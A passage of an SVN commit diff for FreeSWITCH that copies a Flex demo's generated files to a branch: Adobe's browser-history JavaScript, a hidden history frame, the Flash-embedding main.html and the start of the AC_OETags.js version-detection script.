+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/xml/listData.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+<?xml version="1.0"?>
+<items>
+	<item>
+		<image>assets/icons/fx.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/ai.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/ps.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/fw.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/fl.jpg</image>
+	</item>
+	<item>
+		<image>assets/icons/air.jpg</image>
+	</item>
+</items>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/history)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/history.css

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/history.css (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/history/history.css) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/history.css	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/history.css	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+/* This CSS stylesheet defines styles used by required elements in a flex application page that supports browser history */
+
+#ie_historyFrame { width: 0px; height: 0px; display:none }
+#firefox_anchorDiv { width: 0px; height: 0px; display:none }
+#safari_formDiv { width: 0px; height: 0px; display:none }
+#safari_rememberDiv { width: 0px; height: 0px; display:none }

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/history.js

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/history.js (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/history/history.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/history.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/history.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,645 @@
+BrowserHistoryUtils = {
+    addEvent: function(elm, evType, fn, useCapture) {
+        useCapture = useCapture || false;
+        if (elm.addEventListener) {
+            elm.addEventListener(evType, fn, useCapture);
+            return true;
+        }
+        else if (elm.attachEvent) {
+            var r = elm.attachEvent('on' + evType, fn);
+            return r;
+        }
+        else {
+            elm['on' + evType] = fn;
+        }
+    }
+}
+
+BrowserHistory = (function() {
+    // type of browser
+    var browser = {
+        ie: false, 
+        firefox: false, 
+        safari: false, 
+        opera: false, 
+        version: -1
+    };
+
+    // if setDefaultURL has been called, our first clue
+    // that the SWF is ready and listening
+    //var swfReady = false;
+
+    // the URL we'll send to the SWF once it is ready
+    //var pendingURL = '';
+
+    // Default app state URL to use when no fragment ID present
+    var defaultHash = '';
+
+    // Last-known app state URL
+    var currentHref = document.location.href;
+
+    // Initial URL (used only by IE)
+    var initialHref = document.location.href;
+
+    // Initial URL (used only by IE)
+    var initialHash = document.location.hash;
+
+    // History frame source URL prefix (used only by IE)
+    var historyFrameSourcePrefix = 'history/historyFrame.html?';
+
+    // History maintenance (used only by Safari)
+    var currentHistoryLength = -1;
+
+    var historyHash = [];
+
+    var initialState = createState(initialHref, initialHref + '#' + initialHash, initialHash);
+
+    var backStack = [];
+    var forwardStack = [];
+
+    var currentObjectId = null;
+
+    //UserAgent detection
+    var useragent = navigator.userAgent.toLowerCase();
+
+    if (useragent.indexOf("opera") != -1) {
+        browser.opera = true;
+    } else if (useragent.indexOf("msie") != -1) {
+        browser.ie = true;
+        browser.version = parseFloat(useragent.substring(useragent.indexOf('msie') + 4));
+    } else if (useragent.indexOf("safari") != -1) {
+        browser.safari = true;
+        browser.version = parseFloat(useragent.substring(useragent.indexOf('safari') + 7));
+    } else if (useragent.indexOf("gecko") != -1) {
+        browser.firefox = true;
+    }
+
+    if (browser.ie == true && browser.version == 7) {
+        window["_ie_firstload"] = false;
+    }
+
+    // Accessor functions for obtaining specific elements of the page.
+    function getHistoryFrame()
+    {
+        return document.getElementById('ie_historyFrame');
+    }
+
+    function getAnchorElement()
+    {
+        return document.getElementById('firefox_anchorDiv');
+    }
+
+    function getFormElement()
+    {
+        return document.getElementById('safari_formDiv');
+    }
+
+    function getRememberElement()
+    {
+        return document.getElementById("safari_remember_field");
+    }
+
+    /* Get the Flash player object for performing ExternalInterface callbacks. */
+    function getPlayer(objectId) {
+        var objectId = objectId || null;
+        var player = null; /* AJH, needed?  = document.getElementById(getPlayerId()); */
+        if (browser.ie && objectId != null) {
+            player = document.getElementById(objectId);
+        }
+        if (player == null) {
+            player = document.getElementsByTagName('object')[0];
+        }
+        
+        if (player == null || player.object == null) {
+            player = document.getElementsByTagName('embed')[0];
+        }
+
+        return player;
+    }
+    
+    function getPlayers() {
+        var players = [];
+        if (players.length == 0) {
+            var tmp = document.getElementsByTagName('object');
+            players = tmp;
+        }
+        
+        if (players.length == 0 || players[0].object == null) {
+            var tmp = document.getElementsByTagName('embed');
+            players = tmp;
+        }
+        return players;
+    }
+
+	function getIframeHash() {
+		var doc = getHistoryFrame().contentWindow.document;
+		var hash = String(doc.location.search);
+		if (hash.length == 1 && hash.charAt(0) == "?") {
+			hash = "";
+		}
+		else if (hash.length >= 2 && hash.charAt(0) == "?") {
+			hash = hash.substring(1);
+		}
+		return hash;
+	}
+
+    /* Get the current location hash excluding the '#' symbol. */
+    function getHash() {
+       // It would be nice if we could use document.location.hash here,
+       // but it's faulty sometimes.
+       var idx = document.location.href.indexOf('#');
+       return (idx >= 0) ? document.location.href.substr(idx+1) : '';
+    }
+
+    /* Get the current location hash excluding the '#' symbol. */
+    function setHash(hash) {
+       // It would be nice if we could use document.location.hash here,
+       // but it's faulty sometimes.
+       if (hash == '') hash = '#'
+       document.location.hash = hash;
+    }
+
+    function createState(baseUrl, newUrl, flexAppUrl) {
+        return { 'baseUrl': baseUrl, 'newUrl': newUrl, 'flexAppUrl': flexAppUrl, 'title': null };
+    }
+
+    /* Add a history entry to the browser.
+     *   baseUrl: the portion of the location prior to the '#'
+     *   newUrl: the entire new URL, including '#' and following fragment
+     *   flexAppUrl: the portion of the location following the '#' only
+     */
+    function addHistoryEntry(baseUrl, newUrl, flexAppUrl) {
+
+        //delete all the history entries
+        forwardStack = [];
+
+        if (browser.ie) {
+            //Check to see if we are being asked to do a navigate for the first
+            //history entry, and if so ignore, because it's coming from the creation
+            //of the history iframe
+            if (flexAppUrl == defaultHash && document.location.href == initialHref && window['_ie_firstload']) {
+                currentHref = initialHref;
+                return;
+            }
+            if ((!flexAppUrl || flexAppUrl == defaultHash) && window['_ie_firstload']) {
+                newUrl = baseUrl + '#' + defaultHash;
+                flexAppUrl = defaultHash;
+            } else {
+                // for IE, tell the history frame to go somewhere without a '#'
+                // in order to get this entry into the browser history.
+                getHistoryFrame().src = historyFrameSourcePrefix + flexAppUrl;
+            }
+            setHash(flexAppUrl);
+        } else {
+
+            //ADR
+            if (backStack.length == 0 && initialState.flexAppUrl == flexAppUrl) {
+                initialState = createState(baseUrl, newUrl, flexAppUrl);
+            } else if(backStack.length > 0 && backStack[backStack.length - 1].flexAppUrl == flexAppUrl) {
+                backStack[backStack.length - 1] = createState(baseUrl, newUrl, flexAppUrl);
+            }
+
+            if (browser.safari) {
+                // for Safari, submit a form whose action points to the desired URL
+                if (browser.version <= 419.3) {
+                    var file = window.location.pathname.toString();
+                    file = file.substring(file.lastIndexOf("/")+1);
+                    getFormElement().innerHTML = '<form name="historyForm" action="'+file+'#' + flexAppUrl + '" method="GET"></form>';
+                    //get the current elements and add them to the form
+                    var qs = window.location.search.substring(1);
+                    var qs_arr = qs.split("&");
+                    for (var i = 0; i < qs_arr.length; i++) {
+                        var tmp = qs_arr[i].split("=");
+                        var elem = document.createElement("input");
+                        elem.type = "hidden";
+                        elem.name = tmp[0];
+                        elem.value = tmp[1];
+                        document.forms.historyForm.appendChild(elem);
+                    }
+                    document.forms.historyForm.submit();
+                } else {
+                    top.location.hash = flexAppUrl;
+                }
+                // We also have to maintain the history by hand for Safari
+                historyHash[history.length] = flexAppUrl;
+                _storeStates();
+            } else {
+                // Otherwise, write an anchor into the page and tell the browser to go there
+                addAnchor(flexAppUrl);
+                setHash(flexAppUrl);
+            }
+        }
+        backStack.push(createState(baseUrl, newUrl, flexAppUrl));
+    }
+
+    function _storeStates() {
+        if (browser.safari) {
+            getRememberElement().value = historyHash.join(",");
+        }
+    }
+
+    function handleBackButton() {
+        //The "current" page is always at the top of the history stack.
+        var current = backStack.pop();
+        if (!current) { return; }
+        var last = backStack[backStack.length - 1];
+        if (!last && backStack.length == 0){
+            last = initialState;
+        }
+        forwardStack.push(current);
+    }
+
+    function handleForwardButton() {
+        //summary: private method. Do not call this directly.
+
+        var last = forwardStack.pop();
+        if (!last) { return; }
+        backStack.push(last);
+    }
+
+    function handleArbitraryUrl() {
+        //delete all the history entries
+        forwardStack = [];
+    }
+
+    /* Called periodically to poll to see if we need to detect navigation that has occurred */
+    function checkForUrlChange() {
+
+        if (browser.ie) {
+            if (currentHref != document.location.href && currentHref + '#' != document.location.href) {
+                //This occurs when the user has navigated to a specific URL
+                //within the app, and didn't use browser back/forward
+                //IE seems to have a bug where it stops updating the URL it
+                //shows the end-user at this point, but programatically it
+                //appears to be correct.  Do a full app reload to get around
+                //this issue.
+                if (browser.version < 7) {
+                    currentHref = document.location.href;
+                    document.location.reload();
+                } else {
+					if (getHash() != getIframeHash()) {
+						// this.iframe.src = this.blankURL + hash;
+						var sourceToSet = historyFrameSourcePrefix + getHash();
+						getHistoryFrame().src = sourceToSet;
+					}
+                }
+            }
+        }
+
+        if (browser.safari) {
+            // For Safari, we have to check to see if history.length changed.
+            if (currentHistoryLength >= 0 && history.length != currentHistoryLength) {
+                //alert("did change: " + history.length + ", " + historyHash.length + "|" + historyHash[history.length] + "|>" + historyHash.join("|"));
+                // If it did change, then we have to look the old state up
+                // in our hand-maintained array since document.location.hash
+                // won't have changed, then call back into BrowserManager.
+                currentHistoryLength = history.length;
+                var flexAppUrl = historyHash[currentHistoryLength];
+                if (flexAppUrl == '') {
+                    //flexAppUrl = defaultHash;
+                }
+                //ADR: to fix multiple
+                if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) {
+                    var pl = getPlayers();
+                    for (var i = 0; i < pl.length; i++) {
+                        pl[i].browserURLChange(flexAppUrl);
+                    }
+                } else {
+                    getPlayer().browserURLChange(flexAppUrl);
+                }
+                _storeStates();
+            }
+        }
+        if (browser.firefox) {
+            if (currentHref != document.location.href) {
+                var bsl = backStack.length;
+
+                var urlActions = {
+                    back: false, 
+                    forward: false, 
+                    set: false
+                }
+
+                if ((window.location.hash == initialHash || window.location.href == initialHref) && (bsl == 1)) {
+                    urlActions.back = true;
+                    // FIXME: could this ever be a forward button?
+                    // we can't clear it because we still need to check for forwards. Ugg.
+                    // clearInterval(this.locationTimer);
+                    handleBackButton();
+                }
+                
+                // first check to see if we could have gone forward. We always halt on
+                // a no-hash item.
+                if (forwardStack.length > 0) {
+                    if (forwardStack[forwardStack.length-1].flexAppUrl == getHash()) {
+                        urlActions.forward = true;
+                        handleForwardButton();
+                    }
+                }
+
+                // ok, that didn't work, try someplace back in the history stack
+                if ((bsl >= 2) && (backStack[bsl - 2])) {
+                    if (backStack[bsl - 2].flexAppUrl == getHash()) {
+                        urlActions.back = true;
+                        handleBackButton();
+                    }
+                }
+                
+                if (!urlActions.back && !urlActions.forward) {
+                    var foundInStacks = {
+                        back: -1, 
+                        forward: -1
+                    }
+
+                    for (var i = 0; i < backStack.length; i++) {
+                        if (backStack[i].flexAppUrl == getHash() && i != (bsl - 2)) {
+                            arbitraryUrl = true;
+                            foundInStacks.back = i;
+                        }
+                    }
+                    for (var i = 0; i < forwardStack.length; i++) {
+                        if (forwardStack[i].flexAppUrl == getHash() && i != (bsl - 2)) {
+                            arbitraryUrl = true;
+                            foundInStacks.forward = i;
+                        }
+                    }
+                    handleArbitraryUrl();
+                }
+
+                // Firefox changed; do a callback into BrowserManager to tell it.
+                currentHref = document.location.href;
+                var flexAppUrl = getHash();
+                if (flexAppUrl == '') {
+                    //flexAppUrl = defaultHash;
+                }
+                //ADR: to fix multiple
+                if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) {
+                    var pl = getPlayers();
+                    for (var i = 0; i < pl.length; i++) {
+                        pl[i].browserURLChange(flexAppUrl);
+                    }
+                } else {
+                    getPlayer().browserURLChange(flexAppUrl);
+                }
+            }
+        }
+        //setTimeout(checkForUrlChange, 50);
+    }
+
+    /* Write an anchor into the page to legitimize it as a URL for Firefox et al. */
+    function addAnchor(flexAppUrl)
+    {
+       if (document.getElementsByName(flexAppUrl).length == 0) {
+           getAnchorElement().innerHTML += "<a name='" + flexAppUrl + "'>" + flexAppUrl + "</a>";
+       }
+    }
+
+    var _initialize = function () {
+        if (browser.ie)
+        {
+            var scripts = document.getElementsByTagName('script');
+            for (var i = 0, s; s = scripts[i]; i++) {
+                if (s.src.indexOf("history.js") > -1) {
+                    var iframe_location = (new String(s.src)).replace("history.js", "historyFrame.html");
+                }
+            }
+            historyFrameSourcePrefix = iframe_location + "?";
+            var src = historyFrameSourcePrefix;
+
+            var iframe = document.createElement("iframe");
+            iframe.id = 'ie_historyFrame';
+            iframe.name = 'ie_historyFrame';
+            //iframe.src = historyFrameSourcePrefix;
+            try {
+                document.body.appendChild(iframe);
+            } catch(e) {
+                setTimeout(function() {
+                    document.body.appendChild(iframe);
+                }, 0);
+            }
+        }
+
+        if (browser.safari)
+        {
+            var rememberDiv = document.createElement("div");
+            rememberDiv.id = 'safari_rememberDiv';
+            document.body.appendChild(rememberDiv);
+            rememberDiv.innerHTML = '<input type="text" id="safari_remember_field" style="width: 500px;">';
+
+            var formDiv = document.createElement("div");
+            formDiv.id = 'safari_formDiv';
+            document.body.appendChild(formDiv);
+
+            var reloader_content = document.createElement('div');
+            reloader_content.id = 'safarireloader';
+            var scripts = document.getElementsByTagName('script');
+            for (var i = 0, s; s = scripts[i]; i++) {
+                if (s.src.indexOf("history.js") > -1) {
+                    html = (new String(s.src)).replace(".js", ".html");
+                }
+            }
+            reloader_content.innerHTML = '<iframe id="safarireloader-iframe" src="about:blank" frameborder="no" scrolling="no"></iframe>';
+            document.body.appendChild(reloader_content);
+            reloader_content.style.position = 'absolute';
+            reloader_content.style.left = reloader_content.style.top = '-9999px';
+            iframe = reloader_content.getElementsByTagName('iframe')[0];
+
+            if (document.getElementById("safari_remember_field").value != "" ) {
+                historyHash = document.getElementById("safari_remember_field").value.split(",");
+            }
+
+        }
+
+        if (browser.firefox)
+        {
+            var anchorDiv = document.createElement("div");
+            anchorDiv.id = 'firefox_anchorDiv';
+            document.body.appendChild(anchorDiv);
+        }
+        
+        //setTimeout(checkForUrlChange, 50);
+    }
+
+    return {
+        historyHash: historyHash, 
+        backStack: function() { return backStack; }, 
+        forwardStack: function() { return forwardStack }, 
+        getPlayer: getPlayer, 
+        initialize: function(src) {
+            _initialize(src);
+        }, 
+        setURL: function(url) {
+            document.location.href = url;
+        }, 
+        getURL: function() {
+            return document.location.href;
+        }, 
+        getTitle: function() {
+            return document.title;
+        }, 
+        setTitle: function(title) {
+            try {
+                backStack[backStack.length - 1].title = title;
+            } catch(e) { }
+            //if on safari, set the title to be the empty string. 
+            if (browser.safari) {
+                if (title == "") {
+                    try {
+                    var tmp = window.location.href.toString();
+                    title = tmp.substring((tmp.lastIndexOf("/")+1), tmp.lastIndexOf("#"));
+                    } catch(e) {
+                        title = "";
+                    }
+                }
+            }
+            document.title = title;
+        }, 
+        setDefaultURL: function(def)
+        {
+            defaultHash = def;
+            def = getHash();
+            //trailing ? is important else an extra frame gets added to the history
+            //when navigating back to the first page.  Alternatively could check
+            //in history frame navigation to compare # and ?.
+            if (browser.ie)
+            {
+                window['_ie_firstload'] = true;
+                var sourceToSet = historyFrameSourcePrefix + def;
+                var func = function() {
+                    getHistoryFrame().src = sourceToSet;
+                    window.location.replace("#" + def);
+                    setInterval(checkForUrlChange, 50);
+                }
+                try {
+                    func();
+                } catch(e) {
+                    window.setTimeout(function() { func(); }, 0);
+                }
+            }
+
+            if (browser.safari)
+            {
+                currentHistoryLength = history.length;
+                if (historyHash.length == 0) {
+                    historyHash[currentHistoryLength] = def;
+                    var newloc = "#" + def;
+                    window.location.replace(newloc);
+                } else {
+                    //alert(historyHash[historyHash.length-1]);
+                }
+                //setHash(def);
+                setInterval(checkForUrlChange, 50);
+            }
+            
+            
+            if (browser.firefox || browser.opera)
+            {
+                var reg = new RegExp("#" + def + "$");
+                if (window.location.toString().match(reg)) {
+                } else {
+                    var newloc ="#" + def;
+                    window.location.replace(newloc);
+                }
+                setInterval(checkForUrlChange, 50);
+                //setHash(def);
+            }
+
+        }, 
+
+        /* Set the current browser URL; called from inside BrowserManager to propagate
+         * the application state out to the container.
+         */
+        setBrowserURL: function(flexAppUrl, objectId) {
+            if (browser.ie && typeof objectId != "undefined") {
+                currentObjectId = objectId;
+            }
+           //fromIframe = fromIframe || false;
+           //fromFlex = fromFlex || false;
+           //alert("setBrowserURL: " + flexAppUrl);
+           //flexAppUrl = (flexAppUrl == "") ? defaultHash : flexAppUrl ;
+
+           var pos = document.location.href.indexOf('#');
+           var baseUrl = pos != -1 ? document.location.href.substr(0, pos) : document.location.href;
+           var newUrl = baseUrl + '#' + flexAppUrl;
+
+           if (document.location.href != newUrl && document.location.href + '#' != newUrl) {
+               currentHref = newUrl;
+               addHistoryEntry(baseUrl, newUrl, flexAppUrl);
+               currentHistoryLength = history.length;
+           }
+
+           return false;
+        }, 
+
+        browserURLChange: function(flexAppUrl) {
+            var objectId = null;
+            if (browser.ie && currentObjectId != null) {
+                objectId = currentObjectId;
+            }
+            pendingURL = '';
+            
+            if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) {
+                var pl = getPlayers();
+                for (var i = 0; i < pl.length; i++) {
+                    try {
+                        pl[i].browserURLChange(flexAppUrl);
+                    } catch(e) { }
+                }
+            } else {
+                try {
+                    getPlayer(objectId).browserURLChange(flexAppUrl);
+                } catch(e) { }
+            }
+
+            currentObjectId = null;
+        }
+
+    }
+
+})();
+
+// Initialization
+
+// Automated unit testing and other diagnostics
+
+function setURL(url)
+{
+    document.location.href = url;
+}
+
+function backButton()
+{
+    history.back();
+}
+
+function forwardButton()
+{
+    history.forward();
+}
+
+function goForwardOrBackInHistory(step)
+{
+    history.go(step);
+}
+
+//BrowserHistoryUtils.addEvent(window, "load", function() { BrowserHistory.initialize(); });
+(function(i) {
+    var u =navigator.userAgent;var e=/*@cc_on!@*/false; 
+    var st = setTimeout;
+    if(/webkit/i.test(u)){
+        st(function(){
+            var dr=document.readyState;
+            if(dr=="loaded"||dr=="complete"){i()}
+            else{st(arguments.callee,10);}},10);
+    } else if((/mozilla/i.test(u)&&!/(compati)/.test(u)) || (/opera/i.test(u))){
+        document.addEventListener("DOMContentLoaded",i,false);
+    } else if(e){
+    (function(){
+        var t=document.createElement('doc:rdy');
+        try{t.doScroll('left');
+            i();t=null;
+        }catch(e){st(arguments.callee,0);}})();
+    } else{
+        window.onload=i;
+    }
+})( function() {BrowserHistory.initialize();} );

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/historyFrame.html

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/historyFrame.html (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/history/historyFrame.html) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/historyFrame.html	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/history/historyFrame.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+<html>
+    <head>
+        <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> 
+        <META HTTP-EQUIV="Expires" CONTENT="-1"> 
+    </head>
+    <body>
+    <script>
+        function processUrl()
+        {
+
+            var pos = url.indexOf("?");
+            url = pos != -1 ? url.substr(pos + 1) : "";
+            if (!parent._ie_firstload) {
+                parent.BrowserHistory.setBrowserURL(url);
+                try {
+                    parent.BrowserHistory.browserURLChange(url);
+                } catch(e) { }
+            } else {
+                parent._ie_firstload = false;
+            }
+        }
+
+        var url = document.location.href;
+        processUrl();
+        document.write(url);
+    </script>
+    Hidden frame for Browser History support.
+    </body>
+</html>

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/images (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/images)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/main.html

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/main.html (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/main.html) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/main.html	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/main.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,121 @@
+<!-- saved from url=(0014)about:internet -->
+<html lang="en">
+
+<!-- 
+Smart developers always View Source. 
+
+This application was built using Adobe Flex, an open source framework
+for building rich Internet applications that get delivered via the
+Flash Player or to desktops via Adobe AIR. 
+
+Learn more about Flex at http://flex.org 
+// -->
+
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!--  BEGIN Browser History required section -->
+<link rel="stylesheet" type="text/css" href="history/history.css" />
+<!--  END Browser History required section -->
+
+<title></title>
+<script src="AC_OETags.js" language="javascript"></script>
+
+<!--  BEGIN Browser History required section -->
+<script src="history/history.js" language="javascript"></script>
+<!--  END Browser History required section -->
+
+<style>
+body { margin: 0px; overflow:hidden }
+</style>
+<script language="JavaScript" type="text/javascript">
+<!--
+// -----------------------------------------------------------------------------
+// Globals
+// Major version of Flash required
+var requiredMajorVersion = 9;
+// Minor version of Flash required
+var requiredMinorVersion = 0;
+// Minor version of Flash required
+var requiredRevision = 28;
+// -----------------------------------------------------------------------------
+// -->
+</script>
+</head>
+
+<body scroll="no">
+<script language="JavaScript" type="text/javascript">
+<!--
+// Version check for the Flash Player that has the ability to start Player Product Install (6.0r65)
+var hasProductInstall = DetectFlashVer(6, 0, 65);
+
+// Version check based upon the values defined in globals
+var hasRequestedVersion = DetectFlashVer(requiredMajorVersion, requiredMinorVersion, requiredRevision);
+
+if ( hasProductInstall && !hasRequestedVersion ) {
+	// DO NOT MODIFY THE FOLLOWING FOUR LINES
+	// Location visited after installation is complete if installation is required
+	var MMPlayerType = (isIE == true) ? "ActiveX" : "PlugIn";
+	var MMredirectURL = window.location;
+    document.title = document.title.slice(0, 47) + " - Flash Player Installation";
+    var MMdoctitle = document.title;
+
+	AC_FL_RunContent(
+		"src", "playerProductInstall",
+		"FlashVars", "MMredirectURL="+MMredirectURL+'&MMplayerType='+MMPlayerType+'&MMdoctitle='+MMdoctitle+"",
+		"width", "100%",
+		"height", "100%",
+		"align", "middle",
+		"id", "main",
+		"quality", "high",
+		"bgcolor", "#869ca7",
+		"name", "main",
+		"allowScriptAccess","sameDomain",
+		"type", "application/x-shockwave-flash",
+		"pluginspage", "http://www.adobe.com/go/getflashplayer"
+	);
+} else if (hasRequestedVersion) {
+	// if we've detected an acceptable version
+	// embed the Flash Content SWF when all tests are passed
+	AC_FL_RunContent(
+			"src", "main",
+			"width", "100%",
+			"height", "100%",
+			"align", "middle",
+			"id", "main",
+			"quality", "high",
+			"bgcolor", "#869ca7",
+			"name", "main",
+			"allowScriptAccess","sameDomain",
+			"type", "application/x-shockwave-flash",
+			"pluginspage", "http://www.adobe.com/go/getflashplayer"
+	);
+  } else {  // flash is too old or we can't detect the plugin
+    var alternateContent = 'Alternate HTML content should be placed here. '
+  	+ 'This content requires the Adobe Flash Player. '
+   	+ '<a href=http://www.adobe.com/go/getflash/>Get Flash</a>';
+    document.write(alternateContent);  // insert non-flash content
+  }
+// -->
+</script>
+<noscript>
+  	<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+			id="main" width="100%" height="100%"
+			codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab">
+			<param name="movie" value="main.swf" />
+			<param name="quality" value="high" />
+			<param name="bgcolor" value="#869ca7" />
+			<param name="allowScriptAccess" value="sameDomain" />
+			<embed src="main.swf" quality="high" bgcolor="#869ca7"
+				width="100%" height="100%" name="main" align="middle"
+				play="true"
+				loop="false"
+				quality="high"
+				allowScriptAccess="sameDomain"
+				type="application/x-shockwave-flash"
+				pluginspage="http://www.adobe.com/go/getflashplayer">
+			</embed>
+	</object>
+</noscript>
+</body>
+</html>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/main.swf

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/main.swf (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/main.swf)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/map (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/map)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/playerProductInstall.swf

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/playerProductInstall.swf (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/playerProductInstall.swf)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/html-template)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/AC_OETags.js

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/AC_OETags.js (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/html-template/AC_OETags.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/AC_OETags.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/AC_OETags.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,276 @@
+// Flash Player Version Detection - Rev 1.6
+// Detect Client Browser type
+// Copyright(c) 2005-2006 Adobe Macromedia Software, LLC. All rights reserved.
+var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
+var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
+var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
+
+function ControlVersion()
+{
+	var version;
+	var axo;
+	var e;
+
+	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
+
+	try {
+		// version will be set for 7.X or greater players
+		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
+		version = axo.GetVariable("$version");
+	} catch (e) {
+	}
+
+	if (!version)
+	{
+		try {
+			// version will be set for 6.X players only
+			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
+			
+			// installed player is some revision of 6.0
+			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
+			// so we have to be careful. 
+			
+			// default to the first public version
+			version = "WIN 6,0,21,0";
+
+			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
+			axo.AllowScriptAccess = "always";
+
+			// safe to call for 6.0r47 or greater
+			version = axo.GetVariable("$version");
+
+		} catch (e) {
+		}
+	}
+
+	if (!version)
+	{
+		try {
+			// version will be set for 4.X or 5.X player
+			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
+			version = axo.GetVariable("$version");
+		} catch (e) {
+		}
+	}
+
+	if (!version)
+	{
+		try {
+			// version will be set for 3.X player
+			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
+			version = "WIN 3,0,18,0";
+		} catch (e) {
+		}
+	}
+
+	if (!version)
+	{
+		try {
+			// version will be set for 2.X player
+			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
+			version = "WIN 2,0,0,11";
+		} catch (e) {
+			version = -1;
+		}
+	}
+	
+	return version;
+}
+
+// JavaScript helper required to detect Flash Player PlugIn version information
+function GetSwfVer(){
+	// NS/Opera version >= 3 check for Flash plugin in plugin array
+	var flashVer = -1;
+	
+	if (navigator.plugins != null && navigator.plugins.length > 0) {
+		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
+			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
+			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
+			var descArray = flashDescription.split(" ");
+			var tempArrayMajor = descArray[2].split(".");			
+			var versionMajor = tempArrayMajor[0];
+			var versionMinor = tempArrayMajor[1];
+			var versionRevision = descArray[3];
+			if (versionRevision == "") {
+				versionRevision = descArray[4];
+			}
+			if (versionRevision[0] == "d") {
+				versionRevision = versionRevision.substring(1);
+			} else if (versionRevision[0] == "r") {
+				versionRevision = versionRevision.substring(1);
+				if (versionRevision.indexOf("d") > 0) {
+					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
+				}
+			}
+			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
+		}
+	}
+	// MSN/WebTV 2.6 supports Flash 4
+	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
+	// WebTV 2.5 supports Flash 3
+	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
